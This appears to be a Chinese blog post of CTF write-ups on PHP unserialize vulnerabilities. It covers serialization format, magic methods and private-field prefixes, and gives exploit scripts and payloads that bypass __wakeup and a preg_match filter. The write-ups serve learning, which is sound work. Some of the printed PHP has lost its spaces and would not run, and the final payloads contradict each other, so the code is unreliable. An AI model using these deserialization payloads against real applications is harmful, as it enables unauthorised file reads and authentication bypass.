作者 by Yichen / 2023-07-20 / 暂无评论 / 26 个足迹
O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";}对象类型:长度:"类名":类中变量的个数:{类型:长度:"值";类型:长度:"值";......}
概念:漏洞产生是应该程序在处理对象、魔术函数以及序列化相关的问题导致的 当传给unserialize()的参数可控时,那么用户就可以注入payload,进行反序列化的时候就可能触发对象中的一些魔术方法。
1.S大写可识别16进制eg:/66是f(不加x)
2.绕过__wakeup:可将反序列化结果中变量数目大于实际变量
3.public、protected与private在序列化时的区别
(1)protected:声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此保护字段的字段名在序列化时,字段名前面会加上\0\0的前缀eg:\0\0username
(2)对于private变量,我们需要在类名和字段名前面都会加上\0的前缀eg:\0Name\0username
(3)如果想放在浏览器中直接提交,我们可以将\0换成%00
4.其他一些魔术方法
__construct(),类的构造函数:只会在创建对象时触发,在序列化和反序列化的过程中都不会触发
__destruct(),类的析构函数:在实例化时创建的对象销毁时触发,或在反序列化后生成的对象销毁时触发
__call(),在对象中调用一个不可访问方法时调用
__callStatic(),用静态方式中调用一个不可访问方法时调用
__get(),获得一个类的成员变量时调用
__set(),设置一个类的成员变量时调用
__isset(),当对不可访问属性调用isset()或empty()时调用
__unset(),当对不可访问属性调用unset()时被调用。
__sleep(),执行serialize()时,先会调用这个函数
__wakeup(),执行unserialize()时,先会调用这个函数
__toString(),类被当成字符串时的回应方法
__invoke(),调用函数的方式调用一个对象时的回应方法
__set_state(),调用var_export()导出类时,此静态方法会被调用。
__clone(),当对象复制完成时调用
__autoload(),尝试加载未定义的类
__debugInfo(),打印所需调试信息
其他方法:https://www.php.cn/php-weizijiaocheng-427052.html
攻防世界
GFSJ0710积分2
Web_php_unserialize
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>1.审题知要绕过preg_match('/[oc]:\d+:/i', $var)以及__wakeup()
preg_match('/[oc]:\d+:/i', $var)只能匹配”O/C:数字:“这种格式的,把数字部分加个+则不能匹配
另一个可以看上面
2.只需要创建一个对象把$file的值改成fl4g.php即可
3.构建
<?php
classDemo{
private$file='fl4g.php';
}
$x=serialize(new Demo);
$x=str_replace('O:4','O:+4',$x);//绕过preg_match()
$x=str_replace(':1:',':3:',$x);//绕过__wakeup()
echobase64_encode($x);
?> 运行出结果
注:不可视字符复制时会消失,所以直接通过代码进行加密
GFSJ0235积分1
unserialize3
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}?code=
只需将这个类序列化后绕过一下_wakeup然后传入即可
buu
[极客大挑战 2019]PHP
1.常见的网站源码备份文件后缀:
tar.gz,zip,rar,tar
常见的网站源码备份文件名:
web,website,backup,back,www,wwwroot,temp
挨个试试试出来www.zip
2.看class:
<?php
className{
private$username='nonono';
private$password='yesyes';
public function__construct($username,$password){
$this->username=$username;
$this->password=$password;
}
function__wakeup(){
$this->username='guest';
}
function__destruct(){
if($this->password!=100){
echo"</br>NO!!!hacker!!!</br>";
echo"You name is: ";
echo$this->username;echo"</br>";
echo"You password is: ";
echo$this->password;echo"</br>";
die();
}
if($this->username==='admin'){
global$flag;
echo$flag;
}else{
echo"</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>所以构建:
<?php
className{
private$username='admin';
private$password='100';
}
$a=new Name();
echoserialize($a);
?>得到
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}标红处改为3,绕过_wakeup
最后成功的payload为
O:4:"Name":3{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}标蓝处不知为什么要加查询知
在声明Name这个类时,username以及password都是私有属性,这在序列化时,会在字段名前加上0的前缀,但在输出时不显示,填补完整为:
O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
独特见解